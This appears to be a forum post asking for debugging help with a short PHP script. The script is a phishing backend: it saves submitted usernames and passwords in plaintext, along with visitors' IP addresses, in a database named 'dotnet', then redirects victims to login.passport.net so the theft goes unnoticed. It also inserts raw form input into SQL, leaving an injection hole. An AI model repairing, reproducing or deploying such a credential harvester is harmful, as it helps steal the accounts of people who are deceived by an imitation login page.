Hmm, I’m having some problems with this… the only problem is that its notproducing any errors…
<?php
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['submit'])){
if ($dbc = @mysql_connect('localhost', 'arctichosts', '')){
if (!@mysql_select_db('dotnet')){
die(mysql_error());
}
} else {
die(mysql_error());
}
$query = "INSERT INTO dotnet
(net_id, username, password, ip)
VALUES (0, '{$_POST['username']}', '{$_POST['password']}', $ip)";
if (@mysql_query ($query)){
header('Location: http://login.passport.net');
} else {
echo '' . mysql_error() . '';
}
mysql_close();
}
?>